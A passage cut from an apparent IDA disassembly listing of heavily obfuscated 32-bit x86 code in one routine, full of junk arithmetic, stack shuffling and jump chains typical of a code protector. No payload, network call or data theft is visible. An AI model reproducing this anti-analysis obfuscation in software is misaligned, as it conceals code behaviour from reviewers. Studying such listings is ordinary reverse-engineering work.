		mov	ebx, [esp+2+var_4+2]
		jmp	loc_5A6A98
; ---------------------------------------------------------------------------


loc_5A218D:				; CODE XREF: sub_58A891+25D3Cj
		pop	ecx
		or	ecx, 65B97759h
		jle	loc_5A3AE2
		add	ecx, 53087977h
		sub	ecx, 25EF4A10h
		jmp	loc_5AF2EB
; ---------------------------------------------------------------------------


loc_5A21AB:				; CODE XREF: sub_58A891+1C32Aj
		pop	ebx
		pop	dword ptr [esp+0]
		push	ebx
		push	ecx
		pop	ebx
		pop	ecx
		not	ecx
		xchg	ecx, ebx
		xor	[esp-0Ah+arg_0+2], ebx
		xor	ebx, [esp-0Ah+arg_0+2]
		xor	[esp-0Ah+arg_0+2], ebx
		mov	eax, [esp-0Ah+arg_0+2]
		push	600Dh
		mov	[esp+0], edi
		jmp	loc_5AB511
; ---------------------------------------------------------------------------


loc_5A21D0:				; CODE XREF: sub_58A891+1BBCAj
		xor	edi, eax
		pop	eax
		add	ecx, 6CF359A8h
		add	ecx, edi
		jmp	loc_5A0A3D
; ---------------------------------------------------------------------------


loc_5A21E0:				; CODE XREF: sub_58A891+27A83j
		mov	ebx, [esp-0Ah+arg_0+2]
		add	esp, 4
		mov	edi, [esp-0Eh+arg_4+2]
		jmp	loc_5A5933
; ---------------------------------------------------------------------------


loc_5A21EE:				; CODE XREF: sub_58A891+1913Ej
		mov	esp, [esp-0Eh+arg_4+2]
		mov	[esp-0Eh+arg_4+2], edx
		jmp	loc_5AD67A
; ---------------------------------------------------------------------------


loc_5A21F9:				; CODE XREF: sub_58A891+123B5j
		mov	ebx, 4AFB045Ah
		mov	eax, 0AFA87FBDh
		sub	eax, ebx
		pop	ebx
		inc	eax
		jmp	loc_5A6CE2
; ---------------------------------------------------------------------------


loc_5A220C:				; CODE XREF: sub_58A891+26EE9j
		add	ebp, 52E07CAAh
		and	ebp, 3CB40BC7h
		add	ebp, 3C0F5C46h
		xor	ecx, ebp
		pop	ebp
		jmp	loc_5A2783
; ---------------------------------------------------------------------------


loc_5A2226:				; CODE XREF: sub_58A891+15957j
		push	eax
		jmp	loc_5AF3B0
; ---------------------------------------------------------------------------


loc_5A222C:				; CODE XREF: sub_58A891+1504Fj
		push	ebx
		push	edx
		push	48C862BCh
		mov	edx, [esp+32h+var_34+2]
		add	esp, 4
		sub	edx, 449D41EBh
		mov	ebx, edx
		pop	edx
		dec	ebx
		add	ebx, 336E220Eh
		push	ebx
		sub	[esp+2Eh+var_30+2], 1
		pop	ebx
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		inc	ebx
		dec	ebx
		jmp	loc_5ACA31
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+2Ah+var_2C+2]
		push	eax
		push	esp
		pop	eax
		push	70FAh
		mov	[esp+32h+var_34+2], ebx
		jmp	loc_5A7165
; ---------------------------------------------------------------------------


loc_5A2273:				; CODE XREF: sub_58A891+128F9j
		push	[esp+86h+var_82]
		pop	ecx
		pop	[esp+86h+var_86]
		jmp	loc_5A66D1
; ---------------------------------------------------------------------------


loc_5A2280:				; CODE XREF: sub_58A891+159DDj
		xor	edi, 5CF70455h
		jmp	loc_5AE294
; ---------------------------------------------------------------------------


loc_5A228B:				; CODE XREF: sub_58A891+27D19j
		xor	[esp+0AEh+var_AA], ecx
		mov	ecx, [esp+0AEh+var_AE]
		add	esp, 4
		push	[esp+0AAh+var_AA]
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 0EF71C8h
		xor	ecx, ebx
		jmp	loc_5A1327
; ---------------------------------------------------------------------------


loc_5A22AF:				; CODE XREF: sub_58A891+279ABj
		push	edx
		push	esi
		push	794Eh
		jmp	loc_5ACA7D
; ---------------------------------------------------------------------------


loc_5A22BB:				; CODE XREF: sub_58A891:loc_5B105Dj
		inc	bl
		js	loc_5A6A2E
		push	ecx
		mov	cl, 7Bh
		shr	cl, 7
		xor	cl, 63h
		inc	cl
		pop	esi


loc_5A22CF:				; CODE XREF: sub_58A891+14176j
		not	ebx
		add	ebx, 0E6E7DF78h
		xor	eax, ebx
		pop	ebx
		or	eax, 713E13E6h
		xor	eax, 299E00B5h
		or	eax, 554F44E0h
		and	eax, 525C0AA6h
		jmp	loc_5AB084
; ---------------------------------------------------------------------------


loc_5A22F3:				; CODE XREF: sub_58A891+241BCj
		push	[esp+0B2h+var_B2]
		pop	ecx
		add	esp, 4
		xor	ebx, 60AC160Fh
		jmp	loc_5A85BA
; ---------------------------------------------------------------------------


loc_5A2308:				; CODE XREF: sub_58A891+153F6j
		add	edi, esi
		add	edi, 788A2032h
		add	edi, 314A2DE8h
		pop	esi
		push	edx
		push	3FC534F3h
		mov	edx, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_59F054
; ---------------------------------------------------------------------------


loc_5A2336:				; CODE XREF: sub_58A891:loc_5A8BABj
		add	di, 29B7h
		jge	loc_5A42B0
		jmp	loc_5A65EF
; ---------------------------------------------------------------------------
		dec	edi
		push	7B81h
		mov	[esp+0Ah+var_C+2], esi


loc_5A234F:				; CODE XREF: sub_58A891+1454Cj
		mov	bh, 7
		neg	bh
		jmp	loc_59ED6C
; ---------------------------------------------------------------------------


loc_5A2358:				; CODE XREF: sub_58A891+1C998j
		mov	edi, 784F1AB9h
		xor	edi, ebp
		pop	ebp
		add	edi, 1DC13008h
		jmp	loc_5A991E
; ---------------------------------------------------------------------------


loc_5A236B:				; CODE XREF: sub_58A891+15AF9j
		sub	esi, 92401Ch
		add	edx, esi
		pop	esi
		jmp	loc_5AE504
; ---------------------------------------------------------------------------


loc_5A2379:				; CODE XREF: sub_58A891+1F1C4j
		push	ebp
		jmp	loc_5AA89C
; ---------------------------------------------------------------------------


loc_5A237F:				; CODE XREF: sub_58A891+20071j
		push	[esp+9Eh+var_9A]
		mov	eax, [esp+0A2h+var_A2]
		jmp	loc_5AF471
; ---------------------------------------------------------------------------


loc_5A238B:				; CODE XREF: sub_58A891+1CBD4j
		sub	esp, 4
		mov	[esp+0A6h+var_A6], ebx
		jmp	loc_59F0E6
; ---------------------------------------------------------------------------


loc_5A2399:				; CODE XREF: sub_58A891+1DAF3j
		mov	ecx, 6DAC063Ch
		dec	ecx
		add	ecx, 25F35A8Bh
		jmp	loc_5A158E
; ---------------------------------------------------------------------------


loc_5A23AA:				; CODE XREF: sub_58A891+1C374j
		xchg	ebx, [esp+0A6h+var_A6]
		jmp	loc_5A2632
; ---------------------------------------------------------------------------


loc_5A23B2:				; CODE XREF: sub_58A891+2312Aj
		pop	ebp
		sub	edi, 4
		jmp	loc_5A40C7
; ---------------------------------------------------------------------------


loc_5A23BB:				; CODE XREF: sub_58A891+1989Dj
		add	edi, ebp
		jmp	loc_5ACD39
; ---------------------------------------------------------------------------


loc_5A23C2:				; CODE XREF: sub_58A891+2362Bj
		sub	al, dh
		mov	edx, [esp+0A2h+var_A2]
		push	71DEh
		mov	[esp+0A6h+var_A6], ebp
		jmp	loc_5A416B
; ---------------------------------------------------------------------------


loc_5A23D4:				; CODE XREF: sub_58A891+21ECCj
		sub	bh, 0FCh
		add	dh, bh
		pop	ebx
		push	small 793Ah
		jmp	loc_59D4F3
; ---------------------------------------------------------------------------


loc_5A23E3:				; CODE XREF: sub_58A891+281E0j
		push	[esp+0A4h+var_A6+2]
		jmp	loc_59D9C3
; ---------------------------------------------------------------------------


loc_5A23EB:				; CODE XREF: sub_58A891+1FF66j
		jnp	loc_59EFA9
		inc	edi
		jz	loc_5B0640
		add	edi, 1
		push	ecx


loc_5A23FC:				; CODE XREF: sub_58A891+13097j
		mov	ebx, edi
		pop	edi
		jmp	loc_5A86A2
; ---------------------------------------------------------------------------


loc_5A2404:				; CODE XREF: sub_58A891+20642j
		mov	eax, 74BF54BEh
		shl	eax, 1
		or	eax, 0B427F18h
		sub	eax, 80B4ECFDh
		add	ebx, eax
		pop	eax
		pop	edx
		jmp	loc_59E269
; ---------------------------------------------------------------------------


loc_5A241E:				; CODE XREF: sub_58A891:loc_5A9B82j
		push	edx
		mov	edx, 0F3E7ED81h
		jmp	loc_5A1941
; ---------------------------------------------------------------------------


loc_5A2429:				; CODE XREF: sub_58A891+17C93j
		xchg	ebx, [esp+0A4h+var_A6+2]
		jmp	loc_59CD38
; ---------------------------------------------------------------------------


loc_5A2431:				; CODE XREF: sub_58A891+2043Aj
		jmp	loc_5A6311
; ---------------------------------------------------------------------------


loc_5A2436:				; CODE XREF: sub_58A891+14363j
		mov	[esp+6Ah+var_6C+2], ecx
		mov	ecx, esp
		jmp	loc_5A0F51
; ---------------------------------------------------------------------------


loc_5A2440:				; CODE XREF: sub_58A891+11DC6j
					; sub_58A891+27416j
		sub	esp, 4
		mov	[esp+4Ah+var_4A], ebp
		mov	ebp, edi
		jmp	loc_5A0D73
; ---------------------------------------------------------------------------


loc_5A2450:				; CODE XREF: sub_58A891+15D5Fj
		mov	edi, 486A6FF9h
		jmp	loc_5B0AF7
; ---------------------------------------------------------------------------


loc_5A245A:				; CODE XREF: sub_58A891+20835j
		push	ecx
		push	edi
		mov	edi, 77AD53D3h
		jmp	loc_5B15DA
; ---------------------------------------------------------------------------


loc_5A2466:				; CODE XREF: sub_58A891+225BDj
		add	esp, 4
		push	8C9h
		jmp	loc_5A7D3C
; ---------------------------------------------------------------------------


loc_5A2476:				; CODE XREF: sub_58A891+1530Fj
		sub	esp, 4
		mov	[esp+8Ah+var_8A], esi
		mov	esi, 25B17A28h
		jmp	loc_59F764
; ---------------------------------------------------------------------------


loc_5A2486:				; CODE XREF: sub_58A891+266F2j
		pop	[esp+8Ah+var_8A]
		pop	esp
		jmp	loc_5AC7F2
; ---------------------------------------------------------------------------


loc_5A248F:				; CODE XREF: sub_58A891+17DDCj
		push	ebp
		jmp	loc_5A1A38
; ---------------------------------------------------------------------------


loc_5A2495:				; CODE XREF: sub_58A891+1E796j
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+86h+var_86]
		pop	esp
		mov	[esp+82h+var_82], ebx
		push	edi
		mov	edi, 50183E50h
		mov	ebx, 0C3BFB177h
		jmp	loc_5A64C3
; ---------------------------------------------------------------------------


loc_5A24B8:				; CODE XREF: sub_58A891+1D048j
		mov	edx, 23931A06h
		mov	edi, edx
		jmp	loc_5AC00A
; ---------------------------------------------------------------------------


loc_5A24C4:				; CODE XREF: sub_58A891+13E34j
		push	esi
		jmp	loc_5A67A7
; ---------------------------------------------------------------------------


loc_5A24CA:				; CODE XREF: sub_58A891+1501Aj
		inc	bl
		jmp	loc_59CA00
; ---------------------------------------------------------------------------


loc_5A24D1:				; CODE XREF: sub_58A891+17D6Fj
		xor	esi, 60AC495Bh
		add	ebp, esi
		mov	esi, [esp+26h+var_28+2]
		add	esp, 4
		jmp	loc_59C58A
; ---------------------------------------------------------------------------


loc_5A24E4:				; CODE XREF: sub_58A891:loc_5AC88Bj
		shl	ebx, 6
		push	5B3Bh
		mov	[esp+26h+var_28+2], ebp
		push	eax
		push	73D16761h
		pop	eax
		shr	eax, 8
		jnp	loc_5A64FF
		jmp	loc_5A3D98
; ---------------------------------------------------------------------------
		mov	ebx, esp
		jmp	loc_5AB6E8
; ---------------------------------------------------------------------------
		push	esp


loc_5A250C:				; CODE XREF: sub_58A891+1EC2Bj
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59C867
; ---------------------------------------------------------------------------


loc_5A2521:				; CODE XREF: sub_58A891+1F60Cj
		add	ebx, 4
		jmp	loc_5A2429
; ---------------------------------------------------------------------------


loc_5A2529:				; CODE XREF: sub_58A891+1EED2j
		pop	ebx
		sub	ebx, 0E1776829h
		sub	eax, 31782F70h
		jmp	loc_5A1716
; ---------------------------------------------------------------------------


loc_5A253A:				; CODE XREF: sub_58A891+1A579j
		pop	ecx
		jmp	loc_5AF4B8
; ---------------------------------------------------------------------------


loc_5A2540:				; CODE XREF: sub_58A891+13EA7j
		sub	ebx, 1
		push	eax
		mov	eax, 445A29A6h
		jmp	loc_59C017
; ---------------------------------------------------------------------------


loc_5A254E:				; CODE XREF: sub_58A891+22452j
		mov	ebx, edx
		pop	edx
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp+78h+var_7A+2]
		mov	esp, [esp+78h+var_7A+2]
		add	al, 3
		sub	al, 88h
		sub	al, dl
		jmp	loc_5AE521
; ---------------------------------------------------------------------------


loc_5A2565:				; CODE XREF: sub_58A891+1E8E1j
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+74h+var_74]
		pop	esp
		add	eax, 4
		jmp	loc_5A693A
; ---------------------------------------------------------------------------


loc_5A257B:				; CODE XREF: sub_58A891+23B45j
					; sub_58A891+256A2j
		push	edx
		jmp	loc_59FF5D
; ---------------------------------------------------------------------------


loc_5A2581:				; CODE XREF: sub_58A891+1A3A9j
					; sub_58A891+27730j
		xchg	eax, [esp+74h+var_74]
		pop	esp
		mov	[esp+70h+var_70], edx
		push	ecx
		push	esi
		push	eax
		mov	eax, 77E024D7h
		mov	esi, 29980657h
		xor	esi, eax
		pop	eax
		push	esi
		pop	ecx
		pop	esi
		inc	ecx
		jge	loc_5A4309
		xor	ecx, 5E7822B9h
		mov	edx, ecx
		pop	ecx
		mov	ecx, ebx
		and	al, 87h


loc_5A25AF:				; CODE XREF: sub_58A891+15527j
		pop	ebx
		shr	ebx, 3
		jp	loc_5ADDF9
		neg	ebx
		jmp	loc_5AE92D
; ---------------------------------------------------------------------------


loc_5A25C0:				; CODE XREF: sub_58A891+16314j
					; sub_58A891+25B26j
		mov	ebx, ebp
		push	dword ptr [esp+0]
		pop	ebp
		add	esp, 4
		add	esi, ebx
		pop	ebx
		xor	esi, [esp+0]
		xor	[esp+0], esi
		jmp	loc_5B146C
; ---------------------------------------------------------------------------


loc_5A25D7:				; CODE XREF: sub_58A891+157D7j
		mov	ah, 0AFh
		mov	dl, 4Bh
		push	ax
		mov	ah, 10h
		sub	dl, ah
		pop	ax
		add	dl, 0C3h
		add	dl, 35h
		sub	dl, ah
		sub	dl, 35h
		sub	dl, 0C3h
		push	ax
		mov	ah, 10h
		jmp	loc_5B11EC
; ---------------------------------------------------------------------------


loc_5A25FA:				; CODE XREF: sub_58A891+1D32Cj
		or	esi, 7D9C22A7h
		jmp	loc_5A24D1
; ---------------------------------------------------------------------------


loc_5A2605:				; CODE XREF: sub_58A891+27B35j
		mov	edi, esp
		add	edi, 4
		push	433Fh
		mov	[esp+0], ebp
		push	edi
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 0FD922D7h
		not	esi
		dec	esi
		jg	loc_59D8F7
		jmp	loc_5B2326
; ---------------------------------------------------------------------------


loc_5A2632:				; CODE XREF: sub_58A891+17B1Cj
		pop	esp
		jmp	loc_5B285D
; ---------------------------------------------------------------------------


loc_5A2638:				; CODE XREF: sub_58A891+124EBj
					; sub_58A891+14833j ...
		add	esi, 70D475EEh
		sub	esi, ebp
		sub	esi, 70D475EEh
		pop	ebp
		add	esi, ebx
		add	esi, 3B7F512Dh
		push	[esp+8Ah+var_8A]
		jmp	loc_5AFE9C
; ---------------------------------------------------------------------------


loc_5A2657:				; CODE XREF: sub_58A891+27751j
		push	9A2h
		mov	[esp+92h+var_92], esi
		push	esp
		pop	esi
		sub	esp, 4
		jmp	loc_5A10C5
; ---------------------------------------------------------------------------


loc_5A2669:				; CODE XREF: sub_58A891+1FAA8j
		push	[esp+96h+var_96]
		pop	ecx
		jmp	loc_5A248F
; ---------------------------------------------------------------------------


loc_5A2672:				; CODE XREF: sub_58A891+22EA7j
					; sub_58A891+24209j
		add	edx, 4
		xchg	edx, [esp+96h+var_96]
		pop	esp
		not	cl
		jmp	loc_5A528A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+90h+var_92+2], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2693:				; CODE XREF: sub_58A891+250B0j
		push	esp
		jmp	loc_5B047E
; ---------------------------------------------------------------------------


loc_5A2699:				; CODE XREF: sub_58A891+1ACF1j
		pop	ecx
		pop	[esp+94h+var_96+2]
		pop	esp
		jmp	loc_5A45AF
; ---------------------------------------------------------------------------


loc_5A26A3:				; CODE XREF: sub_58A891+13EC3j
		pop	ebp
		add	esi, 0D8E88C41h
		add	ebx, 7AB2E1Ah
		jmp	loc_5ABDAF
; ---------------------------------------------------------------------------


loc_5A26B5:				; CODE XREF: sub_58A891:loc_5A895Ej
		jmp	loc_5AD01F
; ---------------------------------------------------------------------------


loc_5A26BA:				; CODE XREF: sub_58A891:loc_5AE9D7j
		push	edi
		mov	edi, 0BAF0AA6h
		xor	edi, 0BAE2AA2h
		xor	esi, edi
		pop	edi
		add	[esp+78h+var_74], 11C13C87h
		add	[esp+78h+var_74], esi
		push	edx
		mov	edx, 11C13C87h
		sub	[esp+7Ch+var_74], edx
		jmp	loc_5A1820
; ---------------------------------------------------------------------------


loc_5A26E4:				; CODE XREF: sub_58A891+26C38j
		mov	bl, 32h
		mov	dl, bl
		mov	ebx, [esp+7Ch+var_7E+2]
		push	ebp
		push	esp
		mov	ebp, [esp+84h+var_86+2]
		jmp	loc_5A799F
; ---------------------------------------------------------------------------


loc_5A26F5:				; CODE XREF: sub_58A891+21FE6j
		push	68F4h
		mov	[esp+88h+var_8A+2], edx
		mov	edx, 2
		add	edi, edx
		pop	edx
		xor	edi, [esp+84h+var_86+2]
		jmp	loc_5A414E
; ---------------------------------------------------------------------------


loc_5A270D:				; CODE XREF: sub_58A891+13DEDj
					; sub_58A891+1963Aj
		pop	edi
		sub	eax, 41927652h
		add	eax, ecx
		add	eax, 41927652h
		mov	ecx, [esp+8Ah+var_8A]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8Ah+var_8A], ebp
		push	361A98DBh
		push	[esp+8Eh+var_8E]
		pop	ebp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 24C04403h
		sub	edi, 0FA80ED6h
		xor	edi, 74564EBEh
		jmp	loc_5AD179
; ---------------------------------------------------------------------------


loc_5A2752:				; CODE XREF: sub_58A891+1F56Fj
		sub	esi, 58EE6375h
		push	7E9Dh
		mov	[esp+9Ah+var_9A], edx
		mov	edx, 35212D3Ch
		add	esi, edx
		pop	edx
		jmp	loc_5B2EC7
; ---------------------------------------------------------------------------


loc_5A276D:				; CODE XREF: sub_58A891+2784Cj
		add	ebp, 6E6A0A2Ch
		add	ebp, 440CEE7Fh
		jmp	loc_5B27C5
; ---------------------------------------------------------------------------


loc_5A277E:				; CODE XREF: sub_58A891+16AC1j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2783:				; CODE XREF: sub_58A891+17990j
		add	edx, ecx
		push	[esp+7Ah+var_7A]
		pop	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		jmp	loc_59C9CC
; ---------------------------------------------------------------------------


loc_5A2798:				; CODE XREF: sub_58A891+16F55j
		mov	edi, 416C36DBh
		and	edi, 23646470h
		jmp	loc_5A0E10
; ---------------------------------------------------------------------------


loc_5A27A8:				; CODE XREF: sub_58A891+21CD2j
		pop	ecx
		push	ebx
		neg	dword ptr [esp+0]
		mov	ebx, [esp+0]
		add	esp, 4
		add	ebx, 1
		dec	ebx
		and	ebx, 74B5717Eh
		or	ebx, 0AF70F64h
		sub	ebx, 74F5C296h
		sub	edi, ebx
		pop	ebx
		and	edi, 14373424h
		sub	esp, 4
		mov	[esp+3Eh+var_40+2], ebx
		mov	ebx, 3535445Ah
		jmp	loc_5AABBA
; ---------------------------------------------------------------------------


loc_5A27E8:				; CODE XREF: sub_58A891+27C08j
		sub	ecx, 70EC187Fh
		pop	edi
		sub	ebx, ecx
		pop	ecx
		add	ebx, edx
		add	ebx, 1B4845F6h
		jmp	loc_5A447D
; ---------------------------------------------------------------------------


loc_5A27FF:				; CODE XREF: sub_58A891+1338Fj
					; sub_58A891+1EC5Ej
		push	eax
		mov	eax, 62C90980h
		sub	eax, 2B0033E3h
		push	ecx
		mov	ecx, 66965201h
		inc	ecx
		add	ecx, 267F06E3h
		add	ecx, 43C57EA0h
		shr	ecx, 1
		not	ecx
		xor	ecx, 0A05A41A4h
		sub	eax, ecx
		pop	ecx
		push	eax
		pop	ecx
		pop	eax
		add	edi, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_5AD42F
; ---------------------------------------------------------------------------


loc_5A2843:				; CODE XREF: sub_58A891+180CDj
		add	eax, 10F27487h
		sub	eax, 12142FD1h
		sub	eax, 14D84CD2h
		jmp	loc_5B2A42
; ---------------------------------------------------------------------------


loc_5A2857:				; CODE XREF: sub_58A891+13DF9j
		inc	ecx
		jmp	loc_5A9FD1
; ---------------------------------------------------------------------------


loc_5A285D:				; CODE XREF: sub_58A891+182FCj
		push	esp
		jmp	loc_5A3A13
; ---------------------------------------------------------------------------


loc_5A2863:				; CODE XREF: sub_58A891+23C95j
		mov	[esp+92h+var_92], ebx
		mov	bh, 3
		sub	al, bh
		pop	ebx
		mov	dx, word ptr [esp+8Eh+var_8E]
		add	esp, 2
		push	656Ah
		mov	[esp+8Eh+var_8E], edx
		jmp	loc_5AB397
; ---------------------------------------------------------------------------


loc_5A2882:				; CODE XREF: sub_58A891+24785j
					; sub_58A891+260BCj
		mov	ebx, [esp+8Eh+var_8E]
		add	esp, 4
		pop	[esp+8Ah+var_8A]
		mov	eax, [esp+86h+var_86]
		sub	esp, 4
		mov	[esp+8Ah+var_8A], ecx
		mov	ecx, esp
		jmp	loc_5AF5C3
; ---------------------------------------------------------------------------


loc_5A289E:				; CODE XREF: sub_58A891+1507Cj
		add	ebx, 7B274597h
		jmp	loc_5A07D0
; ---------------------------------------------------------------------------


loc_5A28A9:				; CODE XREF: sub_58A891+27F28j
		mov	[esp+2Ah+var_2C+2], ebp
		push	ebx
		push	6A227985h
		mov	ebx, [esp+32h+var_34+2]
		add	esp, 4
		sub	ebx, 6E721357h
		jb	loc_5A7C6B
		push	eax
		mov	eax, 0DDB3193Ah
		jmp	loc_59F7DD
; ---------------------------------------------------------------------------
		add	edx, ecx
		pop	ebx


loc_5A28D2:				; CODE XREF: sub_58A891+1FD63j
		pop	edi
		push	edx
		mov	edx, 4376705Fh
		sub	edx, 0FFFFFFFFh
		sub	edx, 2A6F4693h
		jmp	loc_5A779D
; ---------------------------------------------------------------------------


loc_5A28E7:				; CODE XREF: sub_58A891+1FB70j
		push	eax
		jmp	loc_5A5BA3
; ---------------------------------------------------------------------------


loc_5A28ED:				; CODE XREF: sub_58A891+27785j
		add	ebp, edi
		mov	edi, [esp+32h+var_34+2]
		add	esp, 4
		xchg	ebp, [esp+2Eh+var_30+2]
		pop	esp
		push	ecx
		push	esi
		mov	esi, 6217523Ah
		sub	esi, 92D10F2h
		mov	ecx, esi
		jmp	loc_5A7A2A
; ---------------------------------------------------------------------------


loc_5A2910:				; CODE XREF: sub_58A891+1C79Bj
		push	ebx
		push	ebp
		pop	ebx
		mov	edi, ebx
		pop	ebx
		pop	ebp
		jmp	loc_5A42B5
; ---------------------------------------------------------------------------


loc_5A291C:				; CODE XREF: sub_58A891+1E0C8j
		push	edx
		jmp	loc_59C993
; ---------------------------------------------------------------------------


loc_5A2922:				; CODE XREF: sub_58A891:loc_5A37B7j
					; sub_58A891+1E08Ej
		push	edx
		push	2E55h
		mov	[esp+3Ah+var_3C+2], esp
		jmp	loc_5AC3EE
; ---------------------------------------------------------------------------


loc_5A2930:				; CODE XREF: sub_58A891+16C42j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A2935:				; CODE XREF: sub_58A891+165D4j
		push	ecx
		jmp	loc_59F402
; ---------------------------------------------------------------------------


loc_5A293B:				; CODE XREF: sub_58A891+11E1Aj
		mov	dh, ah
		jmp	loc_5A3D66
; ---------------------------------------------------------------------------


loc_5A2942:				; CODE XREF: sub_58A891+1BD9Dj
		xor	eax, [esp+48h+var_4A+2]
		xor	[esp+48h+var_4A+2], eax
		jmp	loc_5ADC6A
; ---------------------------------------------------------------------------


loc_5A294D:				; CODE XREF: sub_58A891+23AAAj
		add	esp, 4
		jmp	loc_5AAAF6
; ---------------------------------------------------------------------------


loc_5A2958:				; CODE XREF: sub_58A891+1FAD8j
		pop	esi
		add	eax, 2D63919h
		jmp	loc_5A2843
; ---------------------------------------------------------------------------


loc_5A2963:				; CODE XREF: sub_58A891+149EBj
		mov	eax, edi
		pop	edi
		dec	eax
		neg	eax
		jmp	loc_5A94AD
; ---------------------------------------------------------------------------


loc_5A296E:				; CODE XREF: sub_58A891+14782j
		shr	edi, 4
		jmp	loc_5A852E
; ---------------------------------------------------------------------------


loc_5A2976:				; CODE XREF: sub_58A891+26970j
		push	[esp+0AAh+var_AA]
		jmp	loc_5A0E82
; ---------------------------------------------------------------------------


loc_5A297E:				; CODE XREF: sub_58A891+1EF68j
		push	0B73h
		mov	[esp+0B2h+var_B2], ebp
		jmp	loc_5AE78C
; ---------------------------------------------------------------------------


loc_5A298B:				; CODE XREF: sub_58A891:loc_5A0E43j
		xor	ecx, 3E8867C8h
		jmp	loc_5A8420
; ---------------------------------------------------------------------------


loc_5A2996:				; CODE XREF: sub_58A891+21FDEj
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+32h+var_34+2]
		jmp	loc_5A803D
; ---------------------------------------------------------------------------


loc_5A29AE:				; CODE XREF: sub_58A891+1E801j
					; sub_58A891+20A97j
		push	ecx
		jmp	loc_5AA070
; ---------------------------------------------------------------------------


loc_5A29B4:				; CODE XREF: sub_58A891+23660j
		add	ecx, 4
		jmp	loc_5A56FE
; ---------------------------------------------------------------------------


loc_5A29BF:				; CODE XREF: sub_58A891+1B139j
					; sub_58A891+247B0j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+3Ah+var_3C+2]
		jmp	loc_59FD84
; ---------------------------------------------------------------------------


loc_5A29D6:				; CODE XREF: sub_58A891+208B5j
		add	esp, 4
		pop	ecx
		xor	edi, [esp+32h+var_34+2]
		xor	[esp+32h+var_34+2], edi
		jmp	loc_5A211B
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+32h+var_34+2]
		sub	esp, 4
		mov	[esp+36h+var_38+2], esi
		push	2C85h
		jmp	loc_5A97E8
; ---------------------------------------------------------------------------


loc_5A29F9:				; CODE XREF: sub_58A891+15863j
		add	esp, 4
		jmp	loc_5A11F5
; ---------------------------------------------------------------------------


loc_5A2A04:				; CODE XREF: sub_58A891+20413j
		mov	esi, 6C643A29h
		add	esi, 14C20719h
		push	edi
		push	eax
		push	5D6F0E0Fh
		pop	eax
		and	eax, 8A046C5h
		jnz	loc_5A8774
		not	eax
		add	eax, 17140B24h
		mov	edi, eax
		mov	ecx, esi


loc_5A2A2D:				; CODE XREF: sub_58A891+24E34j
		add	esi, eax
		pop	eax
		push	edi
		jmp	loc_5B04FC
; ---------------------------------------------------------------------------


loc_5A2A36:				; CODE XREF: sub_58A891+23625j
		mov	eax, edi
		jmp	loc_5AD1B8
; ---------------------------------------------------------------------------


loc_5A2A3D:				; CODE XREF: sub_58A891+199D4j
		pop	ebx
		dec	edi
		jmp	loc_5A560A
; ---------------------------------------------------------------------------


loc_5A2A44:				; CODE XREF: sub_58A891+20621j
		xor	edx, ebp
		pop	ebp
		add	ebx, 40954F88h
		sub	ebx, edx
		sub	ebx, 40954F88h
		jmp	loc_5A4D0A
; ---------------------------------------------------------------------------


loc_5A2A5A:				; CODE XREF: sub_58A891+1428Bj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5B0937
; ---------------------------------------------------------------------------


loc_5A2A66:				; CODE XREF: sub_58A891+124AFj
		mov	[esp+8Ah+var_8A], edx
		push	esp
		mov	edx, [esp+8Eh+var_8E]
		add	esp, 4
		push	eax
		mov	eax, 4
		sub	edx, 1E374231h
		add	edx, eax
		add	edx, 1E374231h
		push	[esp+8Eh+var_8E]
		pop	eax
		jmp	loc_59CA21
; ---------------------------------------------------------------------------


loc_5A2A90:				; CODE XREF: sub_58A891+1F7DAj
		push	[esp+8Eh+var_8E]
		pop	esi
		jmp	loc_5A3087
; ---------------------------------------------------------------------------


loc_5A2A99:				; CODE XREF: sub_58A891+1B0E2j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xor	ecx, [esp+8Eh+var_8E]
		xor	[esp+8Eh+var_8E], ecx
		xor	ecx, [esp+8Eh+var_8E]
		jmp	loc_5AB472
; ---------------------------------------------------------------------------


loc_5A2AB3:				; CODE XREF: sub_58A891+1B144j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+92h+var_92]
		pop	esp
		jmp	loc_5B2489
; ---------------------------------------------------------------------------


loc_5A2ACB:				; CODE XREF: sub_58A891+1B6A1j
		jnp	loc_5A454F
		neg	ebp
		jns	loc_5A7C20
		jmp	loc_5A3A21
; ---------------------------------------------------------------------------


loc_5A2ADE:				; CODE XREF: sub_58A891+13333j
					; sub_58A891+273A2j
		xor	bx, 5567h
		not	bx
		not	bx
		add	bx, 1DFh
		sub	esp, 2
		mov	word ptr [esp+6+var_8+2], bx
		xchg	bx, word ptr [esp+6+var_8+2]
		neg	bx
		xchg	bx, word ptr [esp+6+var_8+2]
		pop	bx
		push	edx
		push	small 10E7h
		pop	dx
		inc	dx
		xor	dx, 79E7h
		sub	dx, 2EF5h
		sub	bx, dx
		pop	edx
		add	bp, bx
		pop	ebx
		push	ebx
		mov	bx, 3F07h
		xor	bx, 79B4h
